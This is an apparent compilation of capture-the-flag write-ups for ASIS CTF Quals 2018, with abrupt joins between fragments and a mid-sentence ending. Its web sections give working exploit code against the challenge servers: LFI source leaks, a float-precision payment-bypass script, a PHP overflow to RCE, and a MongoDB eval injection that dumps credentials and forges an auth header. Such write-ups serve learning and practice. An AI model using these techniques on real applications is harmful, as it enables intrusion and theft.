Decimal(4*N).sqrt()t = int(t) for i in range(10000): q = t - i # or try t + i if n % q != 0: continue p = n / q assert(gmpy.is_prime(p) and gmpy.is_prime(q)) print 'p =', p print 'q =', q```After we get `p, q`, we can decrypt `enc_0` to get the first half of flag.```pythondef decrypt(a, b, m): n, e = a*b, 65537 d = gmpy.invert(e, (a-1)*(b-1)) key = RSA.construct((long(n), long(e), long(d))) dec = key.decrypt(m) return dec print decrypt(p, q, c) # ASIS{0240093faf9ce```Also, we can get the range of `u = r+s` by```pythondef prev_prime(p): for i in xrange(1, 1<<20): if gmpy.next_prime(p-i) != p: return p-i+1 u_min = max(prev_prime(p), (prev_prime(q)/4)+1)u_max = min(p-1, q/4)```
First, we can leak the source code using LFI vulnerability `````` So, after some guessing we finally get the source (app.py) - http://46.101.173.61/image?name=app.py source is like this ```pythonfrom flask import Flask, Response, render_template, session, request, jsonify app = Flask(__name__)app.secret_key = open('private/secret.txt').read() flags = { 'fake1': { 'price': 125, 'coupons': ['fL@__g'], 'data': 'fake1{this_is_a_fake_flag}' }, 'fake2': { 'price': 290, 'coupons': ['fL@__g'], 'data': 'fake2{this_is_a_fake_flag}' }, 'asis': { 'price': 110, 'coupons': [], 'data': open('private/flag.txt').read() }} @app.route('/')def main(): if session.get('credit') == None: session['credit'] = 0 session['coupons'] = [] return render_template('index.html', credit = session['credit']) #return 'Hello World!Your Credit is {}Used Coupons is {}'.format(session.get('credit'), session.get('coupons')) @app.route('/image')def resouce(): image_name = request.args.get('name') if '/' in image_name or '..' in image_name or 'private' in image_name: return 'Access Denied' return Response(open(image_name).read(), mimetype='image/png') @app.route('/pay', methods=['POST'])def pay(): data = request.get_json() card = data['card'] coupon = data['coupon'] if coupon.replace('=','') in session.get('coupons'): return jsonify({'result': 'the coupon is already used'}) for flag in card: if flag['count'] <= 0: return jsonify({'result':'item count must be greater than zero'}) discount = 0 for flag in card: if coupon.decode('base64').strip() in flags[flag['name']]['coupons']: discount += flag['count'] * flags[flag['name']]['price'] credit = session.get('credit') + discount for flag in card: credit -= flag['count'] * flags[flag['name']]['price'] if credit < 0: result = {'result': 'your credit not enough'} else: result = {'result': 'pay success'} result_data = [] for flag in card: result_data.append({'flag': flag['name'], 'data': flags[flag['name']]['data']}) result['data'] = result_data session['credit'] = credit session['coupons'].append(coupon.replace('=','')) return jsonify(result) if __name__ == '__main__': app.run(host='0.0.0.0', port=80)``` The point of this challenge is that we can discount the flag price using coupons BUT when we pay the flag it substract our payment AND the flag price. So, the calaulation is like ```# using couponcoupon_credit = flag['price'] * flag['count'] # paidcredit = coupon_credit - sumof(flag['count'] + flag['price']) if credit >= 0: print FLAG``` that's weird :( we can't put the count as negative value but real number (0<1) However, at the end, the final credit should be negative value because the calculation logic substract the disdcount and real flag when we paid. The trick of other write-ups is using NaN value that will produce the result as 0. But there is also other trick to abuse the calculation using floating-point issue- https://docs.python.org/3/tutorial/floatingpoint.html The link mention that they drop after 17 digits. Then, simply can we get the flag when we set the count[0] is 1e-17 ? the answer is nope :) because, when they calculate multiplication, they support 1e-10**32 float value lol !! Our trick is the sequence of calculation (Float -> Int), its only support 1e-16 and drop the rest digits ```pythona = [125, 110]b = [1, 1e-17]credit = 125 print "coupon credit : ", creditfor i in range(0, len(a)): credit -= a[i] * b[i] print "a[%d] * b[%d] : "%(i, i), a[i] * b[i] print "credit : ", credit print "Final value : ", creditprint "Is equal 0? : ", credit == 0print a = [110, 125]b = [1e-17, 1]credit = 125 print "coupon credit : ", creditfor i in range(0, len(a)): credit -= a[i] * b[i] print "a[%d] * b[%d] : "%(i,i), a[i] * b[i] print "credit : ", credit print "Final value : ", creditprint "Is equal 0? : ", credit == 0print``` The result is ```coupon credit : 125a[0] * b[0] : 125credit : 0a[1] * b[1] : 1.1e-15credit : -1.1e-15Final value : -1.1e-15Is equal 0? : False coupon credit : 125a[0] * b[0] : 1.1e-15credit : 125.0a[1] * b[1] : 125credit : 0.0Final value : 0.0Is equal 0? : True``` lol !! the sequence is matter of result in python !! Simply, the python thought that, ```>>> 1-1+1e-171e-17>>> 1e-171e-17>>> 1-1+1e-17==1e-17True>>> 1-(1-1e-17)==1e-17False>>> 1+1e-171.0>>> 0+1e-171e-17``` anyway, the final code is ```pythonimport requests url = "http://46.101.173.61/pay" headers = { 'Host': '46.101.173.61',} r = requests.get("http://46.101.173.61", headers=headers)print "[*] get request"print r.contentprint r.headersprint headers['Cookie'] = r.headers['Set-Cookie']headers['Content-Type'] = "application/json"headers['X-Requested-With'] = "XMLHttpRequest" # card sequence is matter of resultdata = '''{"card":[{"name":"asis", "count":1e-17},{"name":"fake2", "count":1}],"coupon":"%s"}''' % ("fL@__g".encode("base64").strip())r = requests.post(url, headers=headers, data=data)print "[*] response"print r.headersprint r.content``` The result of the code ```[*] response{"data": [{"data": "ASIS{th1@n_3xpens1ve_Fl@G}\n", "flag": "asis"}, {"data": "fake2{this_is_a_fake_flag}", "flag": "fake2"}], "result": "pay success"}[Finished in 2.1s]``` I had lots fun with this floating issue in python. =)
# ASIS CTF Quals 2018 **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180429-asisctfquals/) of this writeup.** - [ASIS CTF Quals 2018](#asis-ctf-quals-2018) - [Web](#web) - [Nice code (unsolved, written by bookgin)](#nice-code-unsolved-written-by-bookgin) - [Bug Flag (bookgin, sces60107)](#bug-flag-bookgin-sces60107) - [Good WAF (solved by ysc, written by bookgin)](#good-waf-solved-by-ysc-written-by-bookgin) - [Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin)](#personal-website-solved-by-sasdf-bookgin-sces60107-written-by-bookgin) - [Sharp eyes (unsolved, written by bookgin, special thanks to @herrera)](#sharp-eyes-unsolved-written-by-bookgin-special-thanks-to-herrera) - [Gameshop (unsolved)](#gameshop-unsolved) - [rev](#rev) - [Warm up (sces60107)](#warm-up-sces60107) - [baby C (sces60107)](#baby-c-sces60107) - [Echo (sces60107)](#echo-sces60107) - [Left or Right? (sces60107)](#left-or-right-sces60107) - [Density (sces60107)](#density-sces60107) - [pwn](#pwn) - [Cat (kevin47)](#cat-kevin47) - [Just_sort (kevin47)](#just_sort-kevin47) - [message_me (kevin47)](#message_me-kevin47) - [Tinypwn (kevin47)](#tinypwn-kevin47) - [PPC](#ppc) - [Neighbour (lwc)](#neighbour-lwc) - [The most Boring (how2hack)](#the-most-boring-how2hack) - [Shapiro (shw)](#shapiro-shw) - [misc](#misc) - [Plastic (sces60107)](#plastic-sces60107) - [forensic](#forensic) - [Trashy Or Classy (sces60107 bookgin)](#trashy-or-classy-sces60107-bookgin) - [first step](#first-step) - [second step](#second-step) - [third step](#third-step) - [Tokyo (sces60107)](#tokyo-sces60107) - [crypto](#crypto) - [the_early_school (shw)](#the_early_school-shw) - [Iran (shw and sasdf)](#iran-shw-and-sasdf) - [First-half](#first-half) ## Web ### Nice code (unsolved, written by bookgin) The challenge is related to PHP code review. The page will show the error message. All we have to do is bypass the error :) ```# substr($URL, -10) !== '/index.php'http://167.99.36.112:8080/admin/index.php# $URL == '/admin/index.php'http://167.99.36.112:8080/admin/index.php/index.php``` Next, we are redirected to http://167.99.36.112:8080/another/index.php?source . ```php $_v){ if($_k_o == $k_Jk){ $f = 1; } if($f && strlen($__dgi)>17 && $_p == 3){ $k_Jk($_v,$_k_o); //my shell :) } $_p++; }}else{ echo "noob!";} ``` Also note that the server uses PHP/5.5.9-1ubuntu4.14. Then I got stuck here for DAYS. After a few tries, I think it's impossible to bypass `===`. However, that's not the case in PHP 5.5.9 due to [this bug](https://bugs.php.net/bug.php?id=69892). Just send a big index, and it will be casted to int. Overflow! The rest is simple. No need to guess the content in `oshit.php`. Use system to RCE. Postscript: 1. The bug seems to be famous(infamous) in 2015,2016 PHP CTFs. You can Google the link or bug id and you'll find lots of challenges related to this bug.2. Always pay attention to the version server used. The current release is PHP 7.2, but the challenge uses PHP 5.5.9.3. If the condition is impossible to bypass, just dig into the bug databse/source code.4. The challenge is solved by more than 20 teams, so it must be simple to find a solution. I've learned a lot. Thanks to this challenge and PHP! ### Bug Flag (bookgin, sces60107) Get source code by LFI `http://46.101.173.61/image?name=app.py`. It's Python2 + Flask. ```pythonfrom flask import Flask, Response, render_template, session, request, jsonify app = Flask(__name__)app.secret_key = open('private/secret.txt').read() flags = { 'fake1': { 'price': 125, 'coupons': ['fL@__g'], 'data': 'fake1{this_is_a_fake_flag}' }, 'fake2': { 'price': 290, 'coupons': ['fL@__g'], 'data': 'fake2{this_is_a_fake_flag}' }, 'asis': { 'price': 110, 'coupons': [], 'data': open('private/flag.txt').read() }} @app.route('/')def main(): if session.get('credit') == None: session['credit'] = 0 session['coupons'] = [] return render_template('index.html', credit = session['credit']) #return 'Hello World!Your Credit is {}Used Coupons is {}'.format(session.get('credit'), session.get('coupons')) @app.route('/image')def resouce(): image_name = request.args.get('name') if '/' in image_name or '..' in image_name or 'private' in image_name: return 'Access Denied' return Response(open(image_name).read(), mimetype='image/png') @app.route('/pay', methods=['POST'])def pay(): data = request.get_json() card = data['card'] coupon = data['coupon'] if coupon.replace('=','') in session.get('coupons'): return jsonify({'result': 'the coupon is already used'}) for flag in card: if flag['count'] <= 0: return jsonify({'result':'item count must be greater than zero'}) discount = 0 for flag in card: if coupon.decode('base64').strip() in flags[flag['name']]['coupons']: discount += flag['count'] * flags[flag['name']]['price'] credit = session.get('credit') + discount for flag in card: credit -= flag['count'] * flags[flag['name']]['price'] if credit < 0: result = {'result': 'your credit not enough'} else: result = {'result': 'pay success'} result_data = [] for flag in card: result_data.append({'flag': flag['name'], 'data': flags[flag['name']]['data']}) result['data'] = result_data session['credit'] = credit session['coupons'].append(coupon.replace('=','')) return jsonify(result) if __name__ == '__main__': app.run(host='0.0.0.0', port=80)``` The first thought comes to my mind is race condition. We can send 2 requests to manipulate the session variables. However, manipulating credit leads to nothing, because it's not dependent on executing orders. Manipulating coupons is useless, neither. Why bother using a coupon twice? Just create another session. Then I start to dig if there is any logical error. The objective is to make the credit >= 0 when buying the real flag. After some brainstroming, I try to buy 0.01 fake flags, and it works. Let's test Python floating-point precision.```pythonPython 2.7.14 (default, Jan 5 2018, 10:41:29) [GCC 7.2.1 20171224] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> 1.335 * 125 + 0.334 * 290 - 1.335 * 125 - 0.334 * 2901.4210854715202004e-14``` Isn't it cool and surprising? Note that `1.4210854715202004e-14` is a positive number. For the count of real flag, we can buy `0.0000000...1`. Payload:```{"card":[{"name":"fake1","count":1.335},{"name":"fake2","count":0.334},{"name":"asis","count":0.0000000000000000000000000001}],"coupon":"ZkxAX19n"}``` Flag: `ASIS{th1@n_3xpens1ve_Fl@G}` You can abuse Python `NaN` to solve this challenge as well. Refer to [this writeup](https://ctftime.org/writeup/9893). ### Good WAF (solved by ysc, written by bookgin) The challenge requires us to bypass the WAF on SQL injection. **Unintended solution:** When the organizer is fixing the challenge by editing the source code, @ysc's web scanner found `.index.php.swp`, and we got the source code. The flag is there. That's all. Flag: `ASIS{e279aaf1780c798e55477a7afc7b2b18}` Never fix anything on the production server directly :) ### Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin) Firstly dive into `http://206.189.54.119:5000/site.js`. There are 4 interesting pages: - admin_area- get/title/1- get/text/1- get/image/1 The `admin_area` requires an authorization_token in the header, and the page will check the token. If it's incorrect, an error occurs `Authorization Failed.` Let's fuzz the three `get` APIs. The title, text seem not injectable and only parse integer until encountering an invalid character. However, image is injectable. The `get/image/0+1` is equal to `get/image/1`. Even `get/image/eval("0+1")` works like a charm. So we got a blind injection here. The backend is Nodejs + express. I'll first guess it's using mongoDB. Keey moving on. We try to extract the information of the backend, only to find it's in nodejs vm2. There is no `require` so we cannot RCE. Actually versatile @sasdf spent some time on trying to escape the vm, but it seems very hard. Next, we leaked `module` and find `_mongo`, `db`. It's possible to get all collection names via `db.collection.getname()`. Then, use eval and ` this["db"].credentials.find().toArray()` to dump the database. We dump `credentials` and `authorization`: ```{"_id":{"str":"5ae63ae0a86f623c83fecfb3"},"id":1,"method":"post_data","format":"username=[username]&password=[password]","activate":"false"}{"_id":{"str":"5ae63ae0a86f623c83fecfb4"},"id":2,"method":"header","format":"md5(se3cr3t|[username]|[password])","activate":"true"} {"_id":{"str":"5ae63ae0a86f623c83fecfb1"},"id":1,"username":"administrator","password":"H4rdP@ssw0rd?"}``` Great! The payload:```shcurl 'http://206.189.54.119:5000/admin_area' -H "authorization_token:`echo -n 'se3cr3t|administrator|H4rdP@ssw0rd?' | md5sum | cut -f1 -d' '`"``` Flag: `ASIS{3c266f6ccdaaef52eb4a9ab3abc2ca70}` Postscript: Take a look at Yashar Shahinzadeh's [writeup](https://medium.com/bugbountywriteup/mongodb-injection-asisctf-2018-quals-personal-website-write-up-web-task-115be1344ea2). In fact, the server will send back the error message through the response header `Application-Error`. There is no need to perform blind injection. We are reckless and didn't find this. Next time, I'll carefully inspect every payload and HTTP status code/headers. ### Sharp eyes (unsolved, written by bookgin, special thanks to @herrera) The incorrect account/password in the login page will redirect to `error/1`. Missing either account or password parameter redirects to `error/2`. The source HTML of `error/1`. ```html<html><head><script src='/jquery-3.3.1.min.js'></script><link href='style.css' rel='stylesheet'></head><body><div class="accordion"> <dl> <dt class="active"> <script>var user = '1';</script>Invalid credentials were given.``` If the URL is `error/hello`, the js part becomes `var user = 'hello';`. Addtionally, some characters `<>",` are filtered, but it's imple to bypass using single quotes and semicolons. It's obvious that we have to somehow make the admin trigger this XSS, but how? I guess the admin will read the log in the server, but after a few tries, we found it does't work at all. Ok, so why does variable user mean in the javascript here? Maybe we can inject the XSS payload to the username login page. but it doesn't work, neither. What if it's not a XSS challenge? I don't think so because: 1. I note that the jQuery is loaded in the error page, but it's not used.2. There is a XSS filter. The discovery strongly indicates this is a XSS challenge. However, why does the error code is assigned to a user variable? This does not make sense at all. This challenge made me very frustrated. I think the XSS part is very misleading at the begninning, though it's used after logged in successfully. It was not unitl the last 30 minutes that we found the error code is vulnerable to SQL injection. The server returns the content but the status code is 500. Thanks to @sasdf 's sharp eyes. I'm too careless to find the SQL injection vulenerability. SQLmap will dump the database. The DB is SQlite. Thanks to @herrera in IRC channel:> sharp eyes was sqli on /error/1, getting username/hash of the user david, logging into him, then using /error/1 as a XSS too, sending it to admin and getting the flag on flag.php Postscript: 1. Sharp eyes: HTTP status code2. Some misleading part might be the second stage of the challenge.3. It a number of teams solve this challenge, it must be not difficult. ### Gameshop (unsolved) Please refer to [official solution](https://blog.harold.kim/2018/04/asisctf-2018-gameshop-solution). Acctually, we spent a few hours on MicroDB LFI. Next, I'm trying to find a way to exploit all the possible `die(__FLAG__)`. I know we may use unserialization to create `Affimojas->flag = 0`, since in PHP, `var_dump(0 == "asdasdasd"); // bool(true)` . However, I cannot find the way to exploit unserilization. In the last 1 hours, @sasdf noted that we can manipulate the first block, but we though we didn't have much time solving this challenge. There is a long road to go on solving web challnges:) ## rev ### Warm up (sces60107) This is a warm up challenge. They give you a C file like this. ```C#define M 37#define q (2+M/M)#define v (q/q)#define ef ((v+q)/2)#define f (q-v-ef)#define k (8-ef)struct b{int64_t y[13];}S;int m=1811939329,N=1,t[1<<26]={2},a,*p,i,e=73421233,s,c,U=1;g(d,h){for(i=s;i<1<<25;i*=2)d=d*1LL*d%m;for(p=t;p<t+N;p+=s)for(i=s,c=1;i;i--)a=p[s]*(h?c:1LL)%m,p[s]=(m*1U+*p-a)*(h?1LL:c)%m,*p=(a*1U+*p)%m,p++,c=c*1LL*d%m;}l(){while(e/=2){N*=2;U=U*1LL*(m+1)/2%m;for(s=N;s/=2;)g(136,0);for(p=t;p<t+N;p++)*p=*p*1LL**p%m*U%m;for(s=1;s<N;s*=2)g(839354248,1);for(a=0,p=t;p<t+N;)a+=*p<<(e&1),*p++=a%10,a/=10;}}z(n){int y=3,j,c;for(j=2;j<=n;){l();for(c=2;c<=y-1;c++){l();if(y%c==0)break;}if(c==y){l();j++;}y++;}l();return y-1;}main(a, pq) char* pq;{int b=sizeof(S),y=b,j=M;l();int x[M]={b-M-sizeof((short int) a),(b>>v)+(k<<v)+ (v<<(q|ef)) + z(v+(ef<<v)),(z(k*ef)<<v)-pow(ef,f), z(( (j-ef*k)|(ef<<k>>v)/k-ef<<v)-ef),(((y+M)&b)<<(k/q+ef))-z(ef+v),((ef<<k)-v)&y,y*v+v,(ef<<(q*ef-v-(k>>ef)))*q-v,(f<<q)|(ef<<(q*f+k))-j+k,(z(z(z(z(z(v)))))*q)&(((j/q)-(ef<<v))<<q)|(j+(q|(ef<<v))),y|(q+v),(ef<<ef)-v+ef*(((j>>ef)|j)-v+ef-q+v),(z(j&(b<<ef))&(z(v<<v)<<k))-(q<<v)-q,(k<<q)+q,(z(y)>>(ef<<v))+(z(k+v))-q,(z(z(k&ef|j))&b|ef|v<<f<<q<<v&ef>>k|q<<ef<<v|k|q)+z(v<<v)+v,(ef>>v)*q*z(k-v)+z(ef<<ef&q|k)+ef,z(k<<k)&v&k|y+k-v,z(f>>ef|k>>ef|v|k)*(ef>>v)*q,(ef<<k-ef<<v>>q<<ef*ef)-j+(ef<<v),z(ef*k)*z(v<<v)+k-v,z((z(k)<<z(v)))&y|k|v,z(ef<<ef<<v<<v)/ef+z(v<<ef|k|(b>>q)&y-f)-(ef<<q)+(k-v)-ef,k<<(ef+q)/z(ef)*z(q)&z(k<<k)|v,((z(y|j>>k*ef))%ef<<z(v<<v<<v)>>q<<q|j)/ef+v,(j-ef<<ef<<v*z(v>>v<<v)>>ef)/ef%z(k<<j)+q,z(k-v)+k|z(ef<<k>>v<<f)-z(q<<q)*ef>>v,(z(ef|y&j|k)%q|j+ef<<z(k|ef)%k<<q|ef|k<<ef<<q/ef|y/ef+j>>q)&k<<j|ef+v,84,z(v*ef<<ef<<q)*q%ef<<k|k|q-v,((z(20)*v)|(f>>q)|(k<<k))/ef-(ef<<(v*q+ef))-(k<<q)+z(k)-q};while(j--){putchar(x[M-v-j]);}printf(" From ASIS With Love <3\n");return 0;}``` You can compile the code. But when executing the binary, it just hanging there. So the first step is to understand this code.It look likes you need to beautify this code. You can count on online tools, but I do this with myself. And I found out there is a useless function `l` which seems to waste lots of time. I just deleted that function in the code and compile the code again. Eventualy, I got the flag and the first blood. The flag is `ASIS{hi_all_w31c0m3_to_ASISCTF}` ### baby C (sces60107) This challenge give you a obfuscated binary. It is obvious that they use [movfuscator](https://github.com/xoreaxeaxeax/movfuscator). It's not easy to reverse such obfuscated binary directly. You will need the help of `qira` or `gdb`. And I choose the former. But it's still difficult to trace the program flow. After a while, I notice that there is `strncmp` in this binary. ```....text:08049557 mov eax, off_83F6170[edx*4].text:0804955E mov edx, dword_81F6110.text:08049564 mov [eax], edx.text:08049566 mov esp, off_83F6130.text:0804956C mov dword_85F61C4, offset strncmp_plt.text:08049576 mov eax, dword_83F6158.text:0804957B mov eax, off_85F61C8[eax*4].text:08049582 mov eax, [eax]...``` I utilized `qira` to trace the program and realized that part of code is doing `strncmp(input[3:],"m0vfu3c4t0r!",0xc)` Well, the hint tell us `flag is ASIS{sha1(input[:14])}` Now we just need the first three byte. The next step needs patience. you have to trace down the code manually. Then you can find this ```....text:080498C8 mov dl, byte ptr dword_804D050.text:080498CE mov edx, dword_81F5B70[edx*4].text:080498D5 mov dword_804D05C, edx.text:080498DB mov dword_804D058, 'A'.text:080498E5 mov eax, dword_804D05C.text:080498EA mov edx, dword_804D058.text:080498F0 mov ecx, 8804B21Ch...``` If you are familiar with movfuscator, you will know this part of code is trying to compare two bytes. I knew this because I read this [pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) in order to solve this challenge. Now we know it is try to compare the first byte of input to `A` The rest of this chanllenge is diggin out the other code which try to compare the second and the third byte. ```....text:08049BED mov edx, 0.text:08049BF2 mov dl, byte ptr dword_804D050.text:08049BF8 mov edx, dword_81F5B70[edx*4].text:08049BFF mov dword_804D05C, edx.text:08049C05 mov dword_804D058, 'h'.text:08049C0F mov eax, dword_804D05C.text:08049C14 mov edx, dword_804D058.text:08049C1A mov ecx, 8804B21Ch....text:08049F17 mov edx, 0.text:08049F1C mov dl, byte ptr dword_804D050.text:08049F22 mov edx, dword_81F5B70[edx*4].text:08049F29 mov dword_804D05C, edx.text:08049F2F mov dword_804D058, '_'.text:08049F39 mov eax, dword_804D05C.text:08049F3E mov edx, dword_804D058.text:08049F44 mov ecx, 8804B21Ch...``` Finally, we got `input[:14]` which is `Ah_m0vfu3c4t0r`. So the flag will be `ASIS{574a1ebc69c34903a4631820f292d11fcd41b906}`### Echo (sces60107) You will be given a binary in this challenge. Just try to execute it.```$ ./Echo Missing argument$ ./Echo blablaError opening blabla!``` Well, you only get some error message. After using some decompile tool I found this. ``` if ( v9 <= 1 ) { fwrite("Missing argument\n", 1uLL, 0x11uLL, stderr); exit(1); } if ( !strncmp(*(const char **)(a2 + 8), "GIVEMEFLAG", 0xAuLL) ) { v46 = (signed int)sub_970(v49); }``` It seems like you should put `GIVEMEFLAG` in the first argument. ```./Echo GIVEMEFLAGaawtfwtfthisisuselessthisisuseless``` Well it just echo what you input. But `sub_970` seems interesting. I used gdb to catch return value. Then I found this function return a string array `>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>>>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]><<<<<<<<<<<<<<<<<<<<<<<<<<,[.,]` Obviously, it is `brainfuck`. the last part of this brainfuck string is `[.,]` which will read your input and output to your screen. before that there a bunch of `[+]>` . It will clean the buffer. The goal is clear now. we need to what does it put on the buffer before it remove them. We can rewrite the brainfuck string to fulfill our requirements The new brainfuck string will be `>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[.>]` Now the binary will output the flag `flag{_bR41n---,[>.<],+_fxxK__}` According to the note `Note: flag{whatyoufound}, submit ASIS{sha1(whatyoufound)}` The true flag is `ASIS{7928cc0d0f66530a42d5d3a06f94bdc24f0492ff}`### Left or Right? (sces60107) Just try to execute the given binary. ```$ ./right_or_left What's The Secret Key?I dont knowinvalid key:( try again``` So it seems like we need a secret key? Then I levearaged a decompiler to reverse this binary. Unfortunately, I found that it's a `rust` binary. I am not familar with `rust`. It's difficult to me to fully reverse it. Then I found some interesting strings like `therustlanguageisfun` and `superkeymysecretkeygivemetheflagasisctfisfun` I try to input those strings ```$ ./right_or_left What's The Secret Key?therustlanguageisfunASIS{that_is_not_the_real_flag}$ ./right_or_left What's The Secret Key?superkey ASIS{be_noughty_step_closer_to_see_the_flag}$ ./right_or_left What's 